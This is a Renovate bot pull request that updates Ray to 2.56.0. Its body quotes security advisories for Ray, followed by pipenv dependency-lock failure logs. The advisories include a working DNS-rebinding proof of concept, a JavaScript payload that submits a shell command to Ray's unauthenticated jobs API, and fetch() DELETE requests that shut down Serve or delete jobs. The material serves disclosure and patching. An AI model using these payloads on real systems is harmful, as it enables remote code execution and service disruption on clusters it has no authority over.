Update dependency ray to v2.56.0 [SECURITY] by renovate[bot] · Pull Request #57 · redhat-ai-dev/developer-images

renovate · 2025-10-11T02:11:20Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
ray	`~=2.21.0` → `~=2.56.0`
ray	`~=2.48.0` → `~=2.56.0`
ray	`==2.43.0` → `==2.56.0`
ray	`==2.21.0` → `==2.56.0`
ray	`==2.48.0` → `==2.56.0`

ray vulnerable to Insertion of Sensitive Information into Log File

CVE-2025-1979 / GHSA-w4rh-fgx7-q63m

More information

Details

Versions of the package ray before 2.43.0 are vulnerable to Insertion of Sensitive Information into Log File where the redis password is being logged in the standard logging. If the redis password is passed as an argument, it will be logged and could potentially leak the password.

This is only exploitable if:

Logging is enabled;
Redis is using password authentication;
Those logs are accessible to an attacker, who can reach that redis instance.

Note:

It is recommended that anyone who is running in this configuration should update to the latest version of Ray, then rotate their redis password.

Severity

CVSS Score: 5.7 / 10 (Medium)
Vector String: CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

ray vulnerable to Insertion of Sensitive Information into Log File

CVE-2025-1979 / GHSA-w4rh-fgx7-q63m / PYSEC-2025-23

More information

Details

Versions of the package ray before 2.43.0 are vulnerable to Insertion of Sensitive Information into Log File where the redis password is being logged in the standard logging. If the redis password is passed as an argument, it will be logged and could potentially leak the password.

This is only exploitable if:

Logging is enabled;
Redis is using password authentication;
Those logs are accessible to an attacker, who can reach that redis instance.

Note:

It is recommended that anyone who is running in this configuration should update to the latest version of Ray, then rotate their redis password.

Severity

CVSS Score: 5.7 / 10 (Medium)
Vector String: CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

CVE-2025-1979 / GHSA-w4rh-fgx7-q63m / PYSEC-2025-23

More information

Details

Versions of the package ray before 2.43.0 are vulnerable to Insertion of Sensitive Information into Log File where the redis password is being logged in the standard logging. If the redis password is passed as an argument, it will be logged and could potentially leak the password.

This is only exploitable if:

Logging is enabled;
Redis is using password authentication;
Those logs are accessible to an attacker, who can reach that redis instance.

Note:

It is recommended that anyone who is running in this configuration should update to the latest version of Ray, then rotate their redis password.

Severity

Unknown

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

Ray has arbitrary code execution via jobs submission API

CVE-2023-48022 / GHSA-6wgj-66m2-xxp2 / PYSEC-2026-517

More information

Details

Anyscale Ray allows a remote attacker to execute arbitrary code via the job submission API. NOTE: the vendor's position is that this report is irrelevant because Ray, as stated in its documentation, is not intended for use outside of a strictly controlled network environment.

Severity

CVSS Score: 9.8 / 10 (Critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Ray has arbitrary code execution via jobs submission API

CVE-2023-48022 / GHSA-6wgj-66m2-xxp2 / PYSEC-2026-517

More information

Details

Anyscale Ray allows a remote attacker to execute arbitrary code via the job submission API. NOTE: the vendor's position is that this report is irrelevant because Ray, as stated in its documentation, is not intended for use outside of a strictly controlled network environment.

Severity

CVSS Score: 9.8 / 10 (Critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

Ray's New Token Authentication is Disabled By Default

CVE-2025-34351 / GHSA-gx77-xgc2-4888 / PYSEC-2026-518

More information

Details

Anyscale Ray 2.52.0 contains an insecure default configuration in which token-based authentication for Ray management interfaces (including the dashboard and Jobs API) is disabled unless explicitly enabled by setting RAY_AUTH_MODE=token. In the default unauthenticated state, a remote attacker with network access to these interfaces can submit jobs and execute arbitrary code on the Ray cluster. NOTE: The vendor plans to enable token authentication by default in a future release. They recommend enabling token authentication to protect your cluster from unauthorized access.

Severity

CVSS Score: 9.3 / 10 (Critical)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Ray is vulnerable to Critical RCE via Safari & Firefox Browsers through DNS Rebinding Attack

CVE-2025-62593 / GHSA-q279-jhrf-cc6v / PYSEC-2026-520

More information

Details

Summary

Developers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari.

Due to the longstanding decision by the Ray Development team to not implement any sort of authentication on critical endpoints, like the /api/jobs & /api/job_agent/jobs/ has once again led to a severe vulnerability that allows attackers to execute arbitrary code against Ray. This time in a development context via the browsers Firefox and Safari.

This vulnerability is due to an insufficient guard against browser-based attacks, as the current defense uses the User-Agent header starting with the string "Mozilla" as a defense mechanism. This defense is insufficient as the fetch specification allows the User-Agent header to be modified.

Combined with a DNS rebinding attack against the browser, and this vulnerability is exploitable against a developer running Ray who inadvertently visits a malicious website, or is served a malicious advertisement (malvertising).

Details

The mitigations implemented to protect against browser based attacks against local Ray nodes are insufficient.

Current Mitigation Strategies

def is_browser_request(req: Request) -> bool:
    """Checks if a request is made by a browser like user agent.

    This heuristic is very weak, but hard for a browser to bypass- eg,
    fetch/xhr and friends cannot alter the user-agent, but requests made with
    an http library can stumble into this if they choose to user a browser like
    user agent.
    """
    return req.headers["User-Agent"].startswith("Mozilla")

def deny_browser_requests() -> Callable:
    """Reject any requests that appear to be made by a browser"""

    def decorator_factory(f: Callable) -> Callable:
        @&#8203;functools.wraps(f)
        async def decorator(self, req: Request):
            if is_browser_request(req):
                return Response(
                    text="Browser requests not allowed",
                    status=aiohttp.web.HTTPMethodNotAllowed.status_code,
                )
            return await f(self, req)

        return decorator

    return decorator_factory

https://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155

    @&#8203;aiohttp.web.middleware
    async def browsers_no_post_put_middleware(self, request, handler):
        if (
            # A best effort test for browser traffic. All common browsers
            # start with Mozilla at the time of writing.
            dashboard_optional_utils.is_browser_request(request)
            and request.method in [hdrs.METH_POST, hdrs.METH_PUT]
        ):
            return aiohttp.web.Response(
                status=405, text="Method Not Allowed for browser traffic."
            )

        return await handler(request)

https://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196

This is because the fundamental assumption that the User-Agent header can't be manipulated is incorrect. In Firefox and in Safari, the fetch API allows the User-Agent header to be set to a different value. Chrome is not vulnerable, ironically, because of a bug, bringing it out of spec with the fetch specification.

Exploiting this vulnerability requires a DNS rebinding attack against the browser. Something trivially done by modern tooling like nccgroup/singularity.

PoC

Please note, this full PoC will be going live at time of disclosure.

Launch Ray ray start --head --port=6379
Ensure that the ray dashboard/service is running on port 8265
Launch an internet facing version of NCCGroup/Singularity following the setup guide here.
Visit the in Firefox or Safari: http://[my.singularity.instance]:8265/manager.html
Under "Attack Payload" select: Ray Jobs RCE (default port 8265)
Click "Start Attack". If you see a 404 error in the iFrame window that pops up, refresh the page and retry starting at step 3.
Once the DNS rebinding attack succeeds (you may need to try a few times), an alert will appear, then the jobs API will be invoked, and the embedded shell code will be executed, popping up the calculator.

If this attack doesn't work, consider clicking the "Toggle Advanced Options" and trying an alternative "Rebinding Strategy". I've personally been able to get this attack to work multiple times on MacOS on multiple different residential networks around the Seattle area. Some corporate networks may block DNS rebinding attacks, but likely not many.

What's going on?

This is the payload running in nccgroup/singularity:

/**
 * This payload exploits Ray (https://github.com/ray-project/ray)
 * It opens the "Calculator" application on various operating systems.
 * The payload can be easily modified to target different OSes or implementations.
 * The TCP port attacked is 8265.
 */

const RayRce = () => {

    // Invoked after DNS rebinding has been performed
    function attack(headers, cookie, body) {
        // Get the current timestamp in milliseconds
        const timestamp = Date.now();
        
        // OS-agnostic calculator command that tries multiple approaches
        const calculatorCommand = `
            # Try Windows calculator first
            if command -v calc.exe >/dev/null 2>&1; then
                echo Windows calculator launching
                calc.exe &
            # Try macOS calculator
            elif command -v open >/dev/null 2>&1; then
                echo macOS calculator launching
                open -a Calculator &
            elif [ -f "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ]; then
                echo macOS calculator launching
                /System/Applications/Calculator.app/Contents/MacOS/Calculator &
            # Try Linux calculators
            elif command -v gnome-calculator >/dev/null 2>&1; then
                echo Linux calculator launching
                gnome-calculator &
            elif command -v kcalc >/dev/null 2>&1; then
                echo Linux calculator launching
                kcalc &
            elif command -v xcalc >/dev/null 2>&1; then
                echo Linux calculator launching
                xcalc &
            # Fallback: try to find any calculator binary
            else
                echo Linux calculator launching
                find /usr/bin /usr/local/bin /opt -name "*calc*" -type f -executable 2>/dev/null | head -1 | xargs -I {} {} &
            fi
            echo RAY RCE: By JLLeitschuh ${timestamp}
        `;
        
        const data = {
            "entrypoint": calculatorCommand,
            "runtime_env": {},
            "job_id": null,
            "metadata": {
                "job_submission_id": timestamp.toString(),
                "source": "nccgroup/singluarity"
            }
        };
        
        sooFetch('/api/jobs/', {
            method: 'POST',
            headers: {
                'User-Agent': 'Other',
            },
            body: JSON.stringify(data),
        })
        .then(response => {
            console.log(response);
            return response.json()
        }) // parses JSON response into native JavaScript objects
        .then(data => {
            console.log('Success:', data);
        })
        .catch((error) => {
            console.error('Error:', error);
        });
    }
    
    // Invoked to determine whether the rebinded service
    // is the one targeted by this payload. Must return true or false.
    async function isService(headers, cookie, body) {
        return sooFetch("/",{
            mode: 'no-cors',
            credentials: 'omit',
        })
        .then(function (response) {
            return response.text()
        })
        .then(function (d) {
            if (d.includes("You need to enable JavaScript")) {
                return true;
            } else {
                return false;
            }
        })
        .catch(e => { return (false); })
    }

    return {
        attack,
        isService
    }
}

Registry["Ray Jobs RCE"] = RayRce();

See: https://github.com/nccgroup/singularity/pull/68

Impact

This vulnerability impacts developers running development/testing environments with Ray. If they fall victim to a phishing attack, or are served a malicious ad, they can be exploited and arbitrary shell code can be executed on their developer machine.

This attack can also be leveraged to attack network-adjacent instance of ray by leveraging the browser as a confused deputy intermediary to attack ray instances running inside a private corporate network.

Fix

The fix for this vulnerability is to update to Ray 2.52.0 or higher. This version also, finally, adds a disabled-by-default authentication feature that can further harden against this vulnerability: https://docs.ray.io/en/latest/ray-security/token-auth.html

Fix commit: ray-project/ray@70e7c72

Several browsers have, after knowing about the attack for 19 years, recently begun hardening against DNS rebinding. (Chrome Local Network Access). These changes may protect you, but a previous initiative, "private network access" was rolled back. So updating is highly recommended as a defense-in-depth strategy.

Credit

The fetch bypass was originally theorized by @avilum at Oligo. The DNS rebinding step, full POC, and disclosure was by @JLLeitschuh while at Socket.

Severity

CVSS Score: 9.4 / 10 (Critical)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Ray's New Token Authentication is Disabled By Default

CVE-2025-34351 / GHSA-gx77-xgc2-4888 / PYSEC-2026-518

More information

Details

Anyscale Ray 2.52.0 contains an insecure default configuration in which token-based authentication for Ray management interfaces (including the dashboard and Jobs API) is disabled unless explicitly enabled by setting RAY_AUTH_MODE=token. In the default unauthenticated state, a remote attacker with network access to these interfaces can submit jobs and execute arbitrary code on the Ray cluster. NOTE: The vendor plans to enable token authentication by default in a future release. They recommend enabling token authentication to protect your cluster from unauthorized access.

Severity

CVSS Score: 9.3 / 10 (Critical)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

Ray is vulnerable to Critical RCE via Safari & Firefox Browsers through DNS Rebinding Attack

CVE-2025-62593 / GHSA-q279-jhrf-cc6v / PYSEC-2026-520

More information

Details

Summary

Developers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari.

Due to the longstanding decision by the Ray Development team to not implement any sort of authentication on critical endpoints, like the /api/jobs & /api/job_agent/jobs/ has once again led to a severe vulnerability that allows attackers to execute arbitrary code against Ray. This time in a development context via the browsers Firefox and Safari.

This vulnerability is due to an insufficient guard against browser-based attacks, as the current defense uses the User-Agent header starting with the string "Mozilla" as a defense mechanism. This defense is insufficient as the fetch specification allows the User-Agent header to be modified.

Combined with a DNS rebinding attack against the browser, and this vulnerability is exploitable against a developer running Ray who inadvertently visits a malicious website, or is served a malicious advertisement (malvertising).

Details

The mitigations implemented to protect against browser based attacks against local Ray nodes are insufficient.

Current Mitigation Strategies

def is_browser_request(req: Request) -> bool:
   """Checks if a request is made by a browser like user agent.

   This heuristic is very weak, but hard for a browser to bypass- eg,
   fetch/xhr and friends cannot alter the user-agent, but requests made with
   an http library can stumble into this if they choose to user a browser like
   user agent.
   """
   return req.headers["User-Agent"].startswith("Mozilla")

def deny_browser_requests() -> Callable:
   """Reject any requests that appear to be made by a browser"""

   def decorator_factory(f: Callable) -> Callable:
       @&#8203;functools.wraps(f)
       async def decorator(self, req: Request):
           if is_browser_request(req):
               return Response(
                   text="Browser requests not allowed",
                   status=aiohttp.web.HTTPMethodNotAllowed.status_code,
               )
           return await f(self, req)

       return decorator

   return decorator_factory

https://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155

    @&#8203;aiohttp.web.middleware
    async def browsers_no_post_put_middleware(self, request, handler):
        if (
            # A best effort test for browser traffic. All common browsers
            # start with Mozilla at the time of writing.
            dashboard_optional_utils.is_browser_request(request)
            and request.method in [hdrs.METH_POST, hdrs.METH_PUT]
        ):
            return aiohttp.web.Response(
                status=405, text="Method Not Allowed for browser traffic."
            )

        return await handler(request)

https://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196

This is because the fundamental assumption that the User-Agent header can't be manipulated is incorrect. In Firefox and in Safari, the fetch API allows the User-Agent header to be set to a different value. Chrome is not vulnerable, ironically, because of a bug, bringing it out of spec with the fetch specification.

Exploiting this vulnerability requires a DNS rebinding attack against the browser. Something trivially done by modern tooling like nccgroup/singularity.

PoC

Please note, this full PoC will be going live at time of disclosure.

Launch Ray ray start --head --port=6379
Ensure that the ray dashboard/service is running on port 8265
Launch an internet facing version of NCCGroup/Singularity following the setup guide here.
Visit the in Firefox or Safari: http://[my.singularity.instance]:8265/manager.html
Under "Attack Payload" select: Ray Jobs RCE (default port 8265)
Click "Start Attack". If you see a 404 error in the iFrame window that pops up, refresh the page and retry starting at step 3.
Once the DNS rebinding attack succeeds (you may need to try a few times), an alert will appear, then the jobs API will be invoked, and the embedded shell code will be executed, popping up the calculator.

If this attack doesn't work, consider clicking the "Toggle Advanced Options" and trying an alternative "Rebinding Strategy". I've personally been able to get this attack to work multiple times on MacOS on multiple different residential networks around the Seattle area. Some corporate networks may block DNS rebinding attacks, but likely not many.

What's going on?

This is the payload running in nccgroup/singularity:

 /**
 * This payload exploits Ray (https://github.com/ray-project/ray)
 * It opens the "Calculator" application on various operating systems.
 * The payload can be easily modified to target different OSes or implementations.
 * The TCP port attacked is 8265.
 */

const RayRce = () => {

    // Invoked after DNS rebinding has been performed
    function attack(headers, cookie, body) {
        // Get the current timestamp in milliseconds
        const timestamp = Date.now();
        
        // OS-agnostic calculator command that tries multiple approaches
        const calculatorCommand = `
            # Try Windows calculator first
            if command -v calc.exe >/dev/null 2>&1; then
                echo Windows calculator launching
                calc.exe &
            # Try macOS calculator
            elif command -v open >/dev/null 2>&1; then
                echo macOS calculator launching
                open -a Calculator &
            elif [ -f "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ]; then
                echo macOS calculator launching
                /System/Applications/Calculator.app/Contents/MacOS/Calculator &
            # Try Linux calculators
            elif command -v gnome-calculator >/dev/null 2>&1; then
                echo Linux calculator launching
                gnome-calculator &
            elif command -v kcalc >/dev/null 2>&1; then
                echo Linux calculator launching
                kcalc &
            elif command -v xcalc >/dev/null 2>&1; then
                echo Linux calculator launching
                xcalc &
            # Fallback: try to find any calculator binary
            else
                echo Linux calculator launching
                find /usr/bin /usr/local/bin /opt -name "*calc*" -type f -executable 2>/dev/null | head -1 | xargs -I {} {} &
            fi
            echo RAY RCE: By JLLeitschuh ${timestamp}
        `;
        
        const data = {
            "entrypoint": calculatorCommand,
            "runtime_env": {},
            "job_id": null,
            "metadata": {
                "job_submission_id": timestamp.toString(),
                "source": "nccgroup/singluarity"
            }
        };
        
        sooFetch('/api/jobs/', {
            method: 'POST',
            headers: {
                'User-Agent': 'Other',
            },
            body: JSON.stringify(data),
        })
        .then(response => {
            console.log(response);
            return response.json()
        }) // parses JSON response into native JavaScript objects
        .then(data => {
            console.log('Success:', data);
        })
        .catch((error) => {
            console.error('Error:', error);
        });
    }
    
    // Invoked to determine whether the rebinded service
    // is the one targeted by this payload. Must return true or false.
    async function isService(headers, cookie, body) {
        return sooFetch("/",{
            mode: 'no-cors',
            credentials: 'omit',
        })
        .then(function (response) {
            return response.text()
        })
        .then(function (d) {
            if (d.includes("You need to enable JavaScript")) {
                return true;
            } else {
                return false;
            }
        })
        .catch(e => { return (false); })
    }

    return {
        attack,
        isService
    }
}

Registry["Ray Jobs RCE"] = RayRce();

See: https://github.com/nccgroup/singularity/pull/68

Impact

This vulnerability impacts developers running development/testing environments with Ray. If they fall victim to a phishing attack, or are served a malicious ad, they can be exploited and arbitrary shell code can be executed on their developer machine.

This attack can also be leveraged to attack network-adjacent instance of ray by leveraging the browser as a confused deputy intermediary to attack ray instances running inside a private corporate network.

Fix

The fix for this vulnerability is to update to Ray 2.52.0 or higher. This version also, finally, adds a disabled-by-default authentication feature that can further harden against this vulnerability: https://docs.ray.io/en/latest/ray-security/token-auth.html

Fix commit: ray-project/ray@70e7c72

Several browsers have, after knowing about the attack for 19 years, recently begun hardening against DNS rebinding. (Chrome Local Network Access). These changes may protect you, but a previous initiative, "private network access" was rolled back. So updating is highly recommended as a defense-in-depth strategy.

Credit

The fetch bypass was originally theorized by @avilum at Oligo. The DNS rebinding step, full POC, and disclosure was by @JLLeitschuh while at Socket.

Severity

CVSS Score: 9.4 / 10 (Critical)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

Ray dashboard DELETE endpoints allow unauthenticated browser-triggered DoS (Serve shutdown / job deletion)

CVE-2026-27482 / GHSA-q5fh-2hc8-f6rq / PYSEC-2026-2271

More information

Details

Summary

Ray’s dashboard HTTP server blocks browser-origin POST/PUT but does not cover DELETE, and key DELETE endpoints are unauthenticated by default. If the dashboard/agent is reachable (e.g., --dashboard-host=0.0.0.0), a web page via DNS rebinding or same-network access can
issue DELETE requests that shut down Serve or delete jobs without user interaction. This is a drive-by availability impact.

Details

Middleware: python/ray/dashboard/http_server_head.py#get_browsers_no_post_put_middleware only checks POST/PUT via is_browser_request (UA/Origin/Sec-Fetch heuristics). DELETE is not gated.
Endpoints lacking browser protection/auth by default:
- python/ray/dashboard/modules/serve/serve_head.py: @routes.delete("/api/serve/applications/") calls serve.shutdown().
- python/ray/dashboard/modules/job/job_head.py: @routes.delete("/api/jobs/{job_or_submission_id}").
- python/ray/dashboard/modules/job/job_agent.py: @routes.delete("/api/job_agent/jobs/{job_or_submission_id}") (not wrapped with deny_browser_requests either).
Dashboard token auth is optional and off by default; binding to 0.0.0.0 is common for remote access.

PoC

Prereqs: dashboard reachable (e.g., ray start --head --dashboard-host=0.0.0.0), no token auth.

Start Serve (or have jobs present).
From any browser-reachable origin (DNS rebinding or same-LAN page), issue a DELETE fetch:

fetch("http://<dashboard-host>:8265/api/serve/applications/", {
    method: "DELETE",
    headers: { "User-Agent": "Mozilla/5.0" }  // browsers set this automatically
  });

Result: Serve shuts down.
3) Similarly, delete jobs:

fetch("http://<dashboard-host>:8265/api/jobs/<job_or_submission_id>", { method: "DELETE" });
fetch("http://<dashboard-agent>:52365/api/job_agent/jobs/<job_or_submission_id>", { method: "DELETE" });

Browsers will send the Mozilla UA and Origin/Sec-Fetch headers, but DELETE is not blocked by the middleware, so the requests succeed.

Impact

Availability loss: Serve shutdown; job deletion. Triggerable via drive-by browser requests if the dashboard/agent ports are reachable and auth is disabled (default).
No code execution from this vector, but breaks isolation/trust assumptions for “developer-only” endpoints.

Fix

The fix for this vulnerability is to update to Ray 2.54.0 or higher.

Fix PR: https://github.com/ray-project/ray/pull/60526

Severity

CVSS Score: 5.9 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

CVE-2026-27482 / GHSA-q5fh-2hc8-f6rq / PYSEC-2026-2271

More information

Details

Ray is an AI compute engine. In versions 2.53.0 and below, thedashboard HTTP server blocks browser-origin POST/PUT but does not cover DELETE, and key DELETE endpoints are unauthenticated by default. If the dashboard/agent is reachable (e.g., --dashboard-host=0.0.0.0), a web page via DNS rebinding or same-network access can issue DELETE requests that shut down Serve or delete jobs without user interaction. This is a drive-by availability impact. The fix for this vulnerability is to update to Ray 2.54.0 or higher.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

CVE-2026-41486 / GHSA-mw35-8rx3-xf9r / PYSEC-2026-2272 / PYSEC-2026-2296

More information

Details

Ray is an AI compute engine. From version 2.54.0 to before version 2.55.0, Ray Data registers custom Arrow extension types (ray.data.arrow_tensor, ray.data.arrow_tensor_v2, ray.data.arrow_variable_shaped_tensor) globally in PyArrow. When PyArrow reads a Parquet file containing one of these extension types, it calls arrow_ext_deserialize on the field's metadata bytes. Ray's implementation passes these bytes directly to cloudpickle.loads(), achieving arbitrary code execution during schema parsing, before any row data is read. This issue has been patched in version 2.55.0.

Severity

CVSS Score: 8.8 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

CVE-2026-57516 / GHSA-hhrp-gw25-jr43 / PYSEC-2026-2273

More information

Details

Ray prior to 2.56.0 contains an unsafe deserialization vulnerability in the WebDataset reader that allows attackers to achieve remote code execution by supplying a malicious tar archive to the read_webdataset() function. The _default_decoder() function in webdataset_datasource.py unconditionally calls pickle.loads() on tar entries with .pkl/.pickle extensions and torch.load() with weights_only=False on .pt/.pth entries, executing arbitrary code inside Ray remote workers on every worker that processes the malicious archive.

Severity

CVSS Score: 8.6 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

Release Notes

ray-project/ray (ray)

`v2.56.0`

Compare Source

Highlights

Ray Data Stability: In this Ray release, we've added a variety of stability improvements, including running multiple datasets in a cluster, adding automatic batch size selection to CPU-based map-batches, and default logical memory configuration to prevent OOMs. We've also tightened iter_batches stability by reducing hidden buffering and shutting down the executor when consumers exit early (#63660, #63682, #62949). This reduces object-store spilling for common training workloads
Ray Serve: We re-architected Ray Serve LLM by decoupling request handling from token streaming response path (#62667, #62680, #62668, #62669, #63167), resulting in significant LLM serving performance improvements. We've also introduced new routing policies such as session-sticky routing via consistent ha

✂ Note

PR body was truncated to here.

Configuration

📅 Schedule: (in timezone America/Toronto)

Branch creation
- At any time (no schedule defined)
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

renovate · 2025-10-11T02:11:22Z

⚠️ Artifact update problem

Renovate failed to update artifacts related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

any of the package files in this branch needs updating, or
the branch becomes conflicted, or
you click the rebase/retry checkbox if found above, or
you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: model-servers/vllm/0.11.0/Pipfile.lock

Command failed: pipenv lock
Locking  dependencies...
CRITICAL:pipenv.patched.pip._internal.resolution.resolvelib.factory:Cannot 
install -r /tmp/pipenv-99izzawh-requirements/pipenv-pqam34tv-constraints.txt 
(line 22) and filelock~=3.14.0 because these package versions have conflicting 
dependencies.
CRITICAL:pipenv.patched.pip._internal.resolution.resolvelib.factory:
The conflict is caused by:
    The user requested filelock~=3.14.0
    vllm 0.11.0 depends on filelock>=3.16.1
Additionally, some packages in these conflicts have no matching distributions 
available for your environment:
    filelock
To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip to attempt to solve the dependency 
conflict
Your dependencies could not be resolved. You likely have a mismatch in your 
sub-dependencies.
You can use $ pipenv run pip install <requirement_name> to bypass this 
mechanism, then run $ pipenv graph to inspect the versions actually installed in
the virtualenv.
Hint: try $ pipenv lock --pre if it is a pre-release dependency.
Hint: try $ pipenv lock --verbose to see the full dependency resolution output.
ERROR: ResolutionImpossible: for help visit 
https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-depende
ncy-conflicts
The conflict is caused by:
    The user requested filelock~=3.14.0
    vllm 0.11.0 depends on filelock>=3.16.1

Hint: Re-run with --verbose to see the full dependency resolution output and 
identify which packages are in conflict.
Traceback (most recent call last):
  File 
"/opt/containerbase/tools/pipenv/2026.6.2/3.11.15/lib/python3.11/site-packages/p
ipenv/routines/lock.py", line 94, in do_lock
    venv_resolve_deps(
  File 
"/opt/containerbase/tools/pipenv/2026.6.2/3.11.15/lib/python3.11/site-packages/p
ipenv/utils/resolver.py", line 1467, in venv_resolve_deps
    c = resolve(cmd, st, project=project)
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File 
"/opt/containerbase/tools/pipenv/2026.6.2/3.11.15/lib/python3.11/site-packages/p
ipenv/utils/resolver.py", line 1240, in resolve
    raise ResolutionFailure("Failed to lock Pipfile.lock!")
pipenv.exceptions.ResolutionFailure: ERROR: Failed to lock Pipfile.lock!

File name: model-servers/vllm/0.6.4/Pipfile.lock

Command failed: pipenv lock
Locking  dependencies...
CRITICAL:pipenv.patched.pip._internal.resolution.resolvelib.factory:Cannot 
install -r /tmp/pipenv-a4wbf91f-requirements/pipenv-n9absmj_-constraints.txt 
(line 11), -r /tmp/pipenv-a4wbf91f-requirements/pipenv-n9absmj_-constraints.txt 
(line 9) and torch==2.3.0+cu121 because these package versions have conflicting 
dependencies.
CRITICAL:pipenv.patched.pip._internal.resolution.resolvelib.factory:
The conflict is caused by:
    The user requested torch==2.3.0+cu121
    xformers 0.0.26.post1 depends on torch==2.3.0
    vllm-flash-attn 2.6.2 depends on torch==2.4.0
Additionally, some packages in these conflicts have no matching distributions 
available for your environment:
    torch
To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip to attempt to solve the dependency 
conflict
Your dependencies could not be resolved. You likely have a mismatch in your 
sub-dependencies.
You can use $ pipenv run pip install <requirement_name> to bypass this 
mechanism, then run $ pipenv graph to inspect the versions actually installed in
the virtualenv.
Hint: try $ pipenv lock --pre if it is a pre-release dependency.
Hint: try $ pipenv lock --verbose to see the full dependency resolution output.
ERROR: ResolutionImpossible: for help visit 
https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-depende
ncy-conflicts
The conflict is caused by:
    The user requested torch==2.3.0+cu121
    xformers 0.0.26.post1 depends on torch==2.3.0
    vllm-flash-attn 2.6.2 depends on torch==2.4.0

Hint: Re-run with --verbose to see the full dependency resolution output and 
identify which packages are in conflict.
Traceback (most recent call last):
  File 
"/opt/containerbase/tools/pipenv/2026.6.2/3.11.15/lib/python3.11/site-packages/p
ipenv/routines/lock.py", line 94, in do_lock
    venv_resolve_deps(
  File 
"/opt/containerbase/tools/pipenv/2026.6.2/3.11.15/lib/python3.11/site-packages/p
ipenv/utils/resolver.py", line 1467, in venv_resolve_deps
    c = resolve(cmd, st, project=project)
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File 
"/opt/containerbase/tools/pipenv/2026.6.2/3.11.15/lib/python3.11/site-packages/p
ipenv/utils/resolver.py", line 1240, in resolve
    raise ResolutionFailure("Failed to lock Pipfile.lock!")
pipenv.exceptions.ResolutionFailure: ERROR: Failed to lock Pipfile.lock!

File name: model-servers/vllm/0.6.6/Pipfile.lock

Command failed: pipenv lock
Locking  dependencies...
CRITICAL:pipenv.patched.pip._internal.resolution.resolvelib.factory:Cannot 
install -r /tmp/pipenv-ujj_m791-requirements/pipenv-xb7nknps-constraints.txt 
(line 11), -r /tmp/pipenv-ujj_m791-requirements/pipenv-xb7nknps-constraints.txt 
(line 34) and transformers~=4.40.2 because these package versions have 
conflicting dependencies.
CRITICAL:pipenv.patched.pip._internal.resolution.resolvelib.factory:
The conflict is caused by:
    The user requested transformers~=4.40.2
    outlines 0.0.34 depends on transformers
    vllm 0.6.6 depends on transformers>=4.45.2
